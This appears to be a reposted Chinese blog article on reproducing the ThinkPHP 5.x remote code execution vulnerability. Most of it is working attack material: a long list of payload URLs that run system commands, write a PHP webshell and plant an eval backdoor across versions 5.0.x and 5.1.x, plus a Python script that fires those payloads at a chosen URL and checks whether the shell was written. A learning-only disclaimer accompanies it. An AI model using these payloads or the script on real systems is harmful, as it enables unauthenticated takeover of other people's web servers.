這篇文章主要介紹ThinkPHP5.x漏洞復(fù)現(xiàn)的示例分析,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!
創(chuàng)新互聯(lián)成立與2013年,先為沙洋等服務(wù)建站,沙洋等地企業(yè),進(jìn)行企業(yè)商務(wù)咨詢服務(wù)。為沙洋企業(yè)網(wǎng)站制作PC+手機(jī)+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問(wèn)題。
首先我們搭建完畢試驗(yàn)環(huán)境后,本地訪問(wèn)http://127.0.0.1/thinkphp/public/index.php,會(huì)出現(xiàn)以下界面,說(shuō)明安裝成功。
ThinkPHP是一個(gè)快速、兼容而且簡(jiǎn)單的輕量級(jí)國(guó)產(chǎn)PHP開發(fā)框架。同時(shí)也使用面向?qū)ο蟮拈_發(fā)結(jié)構(gòu)和MVC模式。對(duì)于5.0.x、5.1.x、5.2.x 這幾個(gè)版本,都無(wú)需登入可以進(jìn)行遠(yuǎn)程代碼執(zhí)行。
我們首先在本地直接遠(yuǎn)程執(zhí)行系統(tǒng)命令:
注明:payload是來(lái)源于零組攻防實(shí)驗(yàn)室整理的。
1、獲取當(dāng)前用戶:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami(系統(tǒng)命令)
2、獲取進(jìn)程信息:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=netstat -an
3、寫入shell文件:
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>shell.php
將在public文件夾中寫入一句話php代碼,并設(shè)置文件名稱為shell.php
本小白寫了一段代碼可以自動(dòng)的執(zhí)行payload,也是為了方便測(cè)試,不用手動(dòng)的去更換payload。
import requests import time # from lxml import etree import optparse print("*"*30 + "Thinkphp遠(yuǎn)程代碼執(zhí)行" + "*"*30) ''' 參考的payload: 如果不是用python測(cè)試的話,那么就要把里面的雙反斜杠換為單反斜杠 互聯(lián)網(wǎng)上面收集的poc 1、利用system函數(shù)遠(yuǎn)程命令執(zhí)行 http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 2.通過(guò)phpinfo函數(shù)寫出phpinfo()的信息 http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 3.寫入shell: http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^>shell.php http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]= /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=phpinfo(); /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET['fuck']);&fuck=eval($_POST[ian]); /public/index.php?s=index/\think\Container/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1 POC TP版本5.0.21: http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 TP版本5.0.22: http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 TP5.1.* thinkphp5.1.29為例 1、代碼執(zhí)行: http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1 2、命令執(zhí)行: http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=操作系統(tǒng)命令 3、文件寫入(寫shell): http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 4、未知: http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 5、代碼執(zhí)行: http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6、命令執(zhí)行: http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統(tǒng)命令 7、代碼執(zhí)行: http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8、命令執(zhí)行: http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統(tǒng)命令 ''' #datetime--20200318 #Author--cmdback #免責(zé)聲明:此實(shí)驗(yàn)所用的工具僅限于學(xué)習(xí),請(qǐng)勿非法使用,否則后果自負(fù) #payload = '/thinkphp/public/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami' headers = { 'User - Agent': 'Mozilla / 5.0(Windows NT 10.0;Win64;x64) AppleWebKit / 537.36(KHTML, likeGecko) Chrome / 80.0.3987.132Safari / 537.36' } def get_info(): try: #先測(cè)試url是否可以正常訪問(wèn) res = requests.get(url) if res.status_code == 200: get_system() else: print("此網(wǎng)站無(wú)法正常訪問(wèn)?。?) except Exception as e: print(e) def get_system(): #進(jìn)行payload的發(fā)送,并返回測(cè)試結(jié)果,這個(gè)模塊知識(shí)測(cè)試的是遠(yuǎn)程執(zhí)行系統(tǒng)命令 with open('payload.txt','r') as f: try: payloads = f.readlines() for payload in payloads: #將url和payload進(jìn)行拼接,如果單個(gè)url測(cè)得話還可以,如果是批量多個(gè)地址進(jìn)行測(cè)試,這個(gè)腳本還可再調(diào)整一下 res = requests.get(url+payload,headers=headers) # html = etree.HTML(res.text,etree.HTMLParser()) # cmd_line = html.xpath('//body/text()') #這里是需要進(jìn)行去重一下,代碼先這樣寫。 if res.status_code == 200: print("執(zhí)行命令如下:",res.text + '\n') #判斷寫入文件是否成功 if requests.get(url+'/shell.php').status_code == 200: print("上傳腳本成功,木馬腳本地址為:",url+'/shell.php') else: return False except Exception as e: print(e) #getsheell的測(cè)試函數(shù)先放在這里,后期補(bǔ)充。 def get_shell(): pass if __name__ == '__main__': ''' 參數(shù)詳解: 1、url:添加需要的url地址; 2、payload:自己添加的payload,文件中需要換行輸入 ''' usage ="python -u-p " parse = optparse.OptionParser(usage) parse.add_option('-u',"--url",dest="url",help="Enter url") parse.add_option('-p','--payload',dest='payload',help="Enter payload") options,args=parse.parse_args() if options.url == None or options.payload == None: print(parse.usage) else: url = options.url payload = options.payload get_info()
代碼有點(diǎn)雞肋,不能批量的進(jìn)行檢測(cè)。需要在創(chuàng)建payload文件,然后自動(dòng)讀取里面的paylaod進(jìn)行執(zhí)行命令。下面截圖來(lái)看一下吧:
以上是“ThinkPHP5.x漏洞復(fù)現(xiàn)的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!